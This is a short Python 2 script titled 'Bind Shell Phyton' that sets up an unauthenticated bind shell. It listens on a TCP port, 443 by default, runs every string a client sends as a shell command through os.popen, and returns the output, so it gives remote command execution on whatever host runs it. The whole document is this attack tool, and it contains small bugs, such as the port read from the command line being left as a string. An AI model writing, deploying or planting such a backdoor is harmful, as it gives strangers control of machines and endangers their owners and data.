Bind Shell Phyton

# Server

import sys
import socket
import os

host = '';
SIZE = 512;

try :
     port = sys.argv[1];

except :
     port = 443;

try :
     sockfd = socket.socket(socket.AF_INET , socket.SOCK_STREAM);

except socket.error , e :

     print "Error in creating socket : ",e ;
     sys.exit(1);

sockfd.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1);

try :
     sockfd.bind((host,port));

except socket.error , e :
     print "Error in Binding : ",e;
     sys.exit(1);

print("\n\n======================================================");
print("-------- Server Listening on Port %d --------------" % port);
print("======================================================\n\n");

try :
     while 1 : # listen for connections
         sockfd.listen(1);
         clientsock , clientaddr = sockfd.accept();
         print("\n\nGot Connection from " + str(clientaddr));
         while 1 :
             try :
                 cmd = clientsock.recv(SIZE);
             except :
                 break;
             pipe = os.popen(cmd);
             rawOutput = pipe.readlines();

             print(cmd);

             if cmd == 'g2g': # close the connection and move on for others
                 print("\n-----------Connection Closed----------------");
                 clientsock.shutdown();
                 break;
             try :
                 output = "";
                 # Parse the output from list to string
                 for data in rawOutput :
                      output = output+data;

                 clientsock.send("Command Output :- \n"+output+"\r\n");

             except socket.error , e :

                 print("\n-----------Connection Closed--------");
                 clientsock.close();
                 break;
except  KeyboardInterrupt :


     print("\n\n>>>> See You =) <<<<<\n");